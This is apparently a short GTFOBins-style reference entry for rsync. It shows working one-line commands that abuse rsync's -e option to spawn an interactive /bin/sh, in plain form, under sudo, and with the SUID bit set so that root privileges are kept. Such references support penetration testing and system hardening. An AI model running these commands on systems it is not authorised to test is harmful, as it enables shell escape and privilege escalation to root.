This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' 127.0.0.1:/dev/null
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' 127.0.0.1:/dev/null
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
rsync -e '/bin/sh -p -c "/bin/sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null